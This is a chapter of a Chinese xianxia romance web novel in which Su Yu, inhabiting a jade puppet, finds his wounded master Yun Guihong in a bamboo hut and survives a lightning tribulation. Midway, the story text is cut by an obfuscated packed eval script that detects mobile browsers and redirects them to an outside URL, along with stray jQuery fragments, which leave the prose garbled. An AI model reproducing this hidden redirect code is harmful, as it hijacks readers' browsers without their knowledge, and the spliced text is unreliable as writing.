67.第 67 章

作品:《我与师尊解战袍

    苏虞失魂落魄地围着疏桐落苑走了一圈,最后,抱着一点点希望回到了竹林。


    竹屋幽深寂静,这么晚,苏虞猜测陈洛城和辛醉寒应该都睡了。


    但当他走近两间竹屋时,他突然感觉到,有哪里不对。


    陈洛城和辛醉寒的房中无人。


    倒是自己的那间竹屋,里面传出人的呼吸声。


    而且,是……熟悉的呼吸声!


    同床共枕数次,苏虞清楚地知道,这呼吸声是云归鸿的!


    总算找到了师尊,苏虞不再想那些无关紧要的人了,他想赶紧破门而入,又怕自己的样子吓到云归鸿,便克制着,去窗边往里看。


    可屋子里黑漆漆的。


    苏虞用白玉的手指轻轻挑开竹帘的缝隙,玉制的眼睛骨碌碌转,他如今的修为,夜视能力已经更强——直接就瞧见自己床上似乎坐着个人。


    此人背对着墙壁,苏虞的角度只能看见半个侧脸。


    那侧脸的轮廓清雅绝伦,正是他朝思暮想的云归鸿!


    可是,原以为自己会感到惊喜和满足的苏虞,胸腔中却逐渐横生出一种难以磨灭的悲愤来。


    他脑海中浮现的是云归鸿在蓬莱洲赶自己走的场景,那样绝情的眼神,像极了前世云归鸿每一次的冰冷拒绝。


    几乎是瞬间,苏虞被愤怒冲昏头脑,伸手想要去拎云归鸿的领子,想将他拉到离自己只有咫尺的距离,好好质问他为什么要抛弃自己。


    但他的手才推开了竹帘,就停住了。


    小玉颅的鼻子因他伸手的动作而凑近了竹帘,随即敏锐地发现,屋子里有浓郁的血腥气。


    怎么会有血腥气?


    云归鸿又受伤了???


    愤怒霎时褪去,苏虞脸上露出茫然。


    他马上低头,想看云归鸿身上是否有伤口。


    然而正想探头细看,苏虞骤然觉得膝盖一软。


    是有人在回收小玉颅!


    他艰难地想夺回小玉颅的控制权,可一转头,瞧见唐阙面无表情的脸。


    他立刻不动了。


    被越境堂抓了把柄,一定会连累云归鸿,苏虞立刻抽身,从小玉颅中离开了。


    “……”唐阙命越境堂弟子捡起那个掉落在地的玉骰,疑惑道,“商凤长老……派这玩意来竹屋?是想同阁主密谋什么吗?”


    “代堂主,请问这法宝该如何处置?”越境堂弟子捧着玉骰毕恭毕敬问道。


    “此时不宜得罪商长老……”唐阙挥挥手,“她也掀不起什么风浪,送回去给她。”


    ……竹屋内,靠墙的竹床上,云归鸿正背靠着墙壁,低垂着头,身上伤痕累累,有的被草草包扎,有的只是那么晾在空气中,还在汩汩地流血。


    他却面无表情,仿佛那些伤痛都不在自己身上似的。


    脸色苍白如结着一层薄薄的冰,冰霜裹着低垂的眼皮,衬得眼眸漆黑,瞳孔涣散,睫毛轻颤着,眼底没有一丝光亮。


    ……


    苏虞再一睁眼,已经回到了青炉内自己的身体中。


    湘洲剑阁的一切像一场梦,他不禁怀疑自己是否真的去过竹屋、见过云归鸿。


    那该不会是他在青炉中的臆想吧?


    阴沉着一张脸,苏虞坐起来,开启内视,检查自己经脉畅通的手臂。


    目光却不自觉移动到丹田,他盯着那片令人目眩神迷的星河,心中有一种奇怪的感觉蔓延开。


    他仍旧是他,但又似乎……已经不是他了。


    经过那段濒临死亡的、差点被青炉烧成灰烬的痛苦,他的经脉变得更坚韧,丹田中的灵气也更加纯粹,修为甚至都飙升到了元婴一品。


    但他并没觉得自己的血脉得到了什么提纯……他试着贯通了一下那两处灵窍,耳朵和尾巴果然又长了出来。


    没有失去妖血……难道他已经不是人族了吗?


    可是伸出手指,苏虞借着青炉天火的红光仔细看自己的指甲——仍旧是整洁圆润的人族指甲。


    或许,是碎天星掩盖了妖气,所以他身上没有妖族特征了么。


    苏虞不知道。


    他叹了口气,心想,还是先出去再说。


    如果顺利,他出去就会遭雷劈,从金丹一品直接升上元婴一品,他要遭受的雷劫可不止一道。


    推开青炉门,灰头土脸的苏虞钻出来,外头仍是黑夜,除了一些夜行的妖族,青炉周围没有其他人在。


    苏虞身上未着寸缕,十分庆幸自己不会被看见……然而刚迈出去半步,就听见一个闷雷般的嗓音在自己头顶响起:


    “小狐狸,台主吩咐我在此等你。”


    苏虞僵硬地抬头,就见着一位……一头……至少十尺高的黑熊,正立在青炉门口,手中还捧着一套新的衣服。


    苏虞默默接过了衣服,抖开,披在身上,然后对黑熊面无表情道:“多谢。”


    黑熊很有礼貌:“无需多礼,你的狐狸耳朵很可爱。”


    苏虞:“……”


    黑熊转身走了,他的身体庞大,下台阶不太灵便,震得地面一颤一颤,颇有些地动山摇的意味。


    苏虞在他转身的一瞬间就把狐耳狐尾收起来了,然后擦着一身的鸡皮疙瘩,远远朝密林深处的山巅跑去。


    四周热风阵阵,苏虞能感觉到自己头顶漆黑的夜空中有雷劫云在聚集,他恨不能化作一阵旋风,跑得再快点。


    连升几级的雷劫应对起来绝不轻松,他可不能连累苏聆的房子也跟疏桐落苑似的被雷劈那么惨……


    宜洲青炉台周边的无人荒山上,苏虞顶着雷劫云,硬生生接了三道惊天动地的天打雷劈。


    金丹之前无重劫,元婴果真是不一样了……


    总之苏虞,晋金丹三品那两道雷劫也没这么猛……然而最后一道元婴雷劫,险些把他直接送走。


    渡完劫,苏虞浑身抽搐,麻着一张脸往回走。


    走到一半他就瘫倒在了路边草坪上,怔怔看着头顶的星空。


    星河欲转,像一把漂亮的彩砂被泼洒在漆黑的幕布上。


    苏虞脸上的肌肉还在因为过电而抽搐,眼皮却不肯阖上。


    那会是梦吗?


    他眼前浮现的,是竹屋里云归鸿那一小片侧脸,不真切,但苏虞知道是他。


    他还得去一趟湘洲剑阁。


    星空下,苏虞努力闭着眼睛,默念出窍的法决,很快身体轻盈起来,再抬头,灵体已飘在半空,看着自己躺在草地上的肉身。


    但不知为何,他明明已经元婴期,出窍后的飞行速度……也的确是快,却完全达不到昨日在青炉中出窍后的水平。


    那时的灵体速度,几乎是一息万里,眨眼间就到了湘洲剑阁。


    ……此时的速度却绝对到不了。


    难道,青炉中的经历真的是他的臆想么。


    苏虞顶着几乎算是风驰电掣的速度,从宜洲青炉台出发,跨越了两万里的距离……花了足足两天的时间,终于飘来了湘洲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876574|190208||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    剑阁。


    此时已是第三日的傍晚,苏虞的灵体来到剑阁,熟门熟路找到了库房里被再次封印起来的小玉颅。


    重新钻进玉骰之内,苏虞撑起小玉颅的身体,化作成年体型,然后揭开封印,再次小心翼翼跑去竹屋。


    剑阁弟子仍在巡逻,苏虞躲避他们的追捕,就用了足足一个时辰。等他真正到了竹屋的时候,已经月上中天,竹屋里却昏黑一片——云归鸿并未点灯。


    苏虞在窗外张望,仍然和上次一样,他看见云归鸿坐在自己床上,一腿支着,手臂搁在膝盖上。这次他没有闻到血腥气了,竹屋里飘着股浓浓的药味。


    屋内冷冷清清,苏虞没有看见其他人。


    怕再被巡夜的弟子抓住,苏虞小心翼翼去推房门,竟推开了。


    云归鸿没有给房门下禁制。


    门轴吱呀一声,苏虞心想,门轴该上油了。云归鸿若醒着,这会儿应该会被惊醒。


    可云归鸿仍旧没有动静。


    苏虞轻手轻脚走近了云归鸿,试图去看清他的脸。


    一看就吓了一跳,苏虞发现云归鸿的眼睛睁着,只是眼皮低垂,看起来像是沉浸在什么负面的情绪中一般。


    苏虞轻轻推了推云归鸿的肩膀,云归鸿的目光便移了过来。


    小玉颅无法张嘴说话,它只能注视眼前的人。


    苏虞也不记得云归鸿上次被自己抱回来时有没有意识、知不知道这玉雕的小人是自己,顿时有点怀疑自己此刻的样子会吓到云归鸿。


    可云归鸿盯着他白玉的面孔看了一会儿,缓缓道:“是你吗,苏虞?”


    小玉颅呆怔片刻,点了点头。


    云归鸿眨了眨眼,嘴角溢出一个苦涩的微笑。


    小玉颅爬上床,轻轻握住了云归鸿搭在膝盖上那只手。


    小玉颅将那只手握着,抬到自己胸口,将他的掌心对上自己冰冷的心脏。


    苏虞指指自己,又指了指遥远的青炉台。


    云归鸿似是看懂了,点了点头:“你此刻应该在青炉台。”


    苏虞放下心来。


    苏虞的手却渐渐收紧了,他心中的不甘再次涌现出来——是你送我去青炉台的。


    他欺身,用冰凉的身躯挤开云归鸿的膝盖,将握在他手中的那截手腕,按在了云归鸿背靠的墙壁上。


    泛着点点冷光的白玉面庞,凑近云归鸿毫无血色的脸。


    苏虞无声询问着:


    你赶走了我,将我送给一个才见过两面的人。


    你凭什么替我做决定呢?


    云归鸿,你见不到我,却搬来我的住所,你在想什么?


    小玉颅的指节缓缓划过云归鸿手腕内侧的皮肤,沿着无力反抗的腕骨,逐渐向上。


    云归鸿的手腕上戴着一只花纹古朴的银镯,苏虞认得那个银镯,是前世云归鸿曾经送给自己的储物法器。


    用白玉指尖穿过银镯与皮肤之间的空隙,苏虞完美避开镯子,握紧了云归鸿手腕最纤细的部分,小玉颅的手比苏虞的手还要大一些,就显得云归鸿的手腕格外纤弱。


    仿佛他一用力,就能将它折断似的。


    云归鸿始终未曾用力反抗。他的视线轻轻落在小玉颅的胸前,那刚被自己手掌温暖过的地方。


    他心想,真凉啊,


    这个“苏虞”的温度一点都不像他的徒弟。


    可是,他不敢挣脱。


    他怕他一用力,这个“苏虞”也会从自己眼前消失。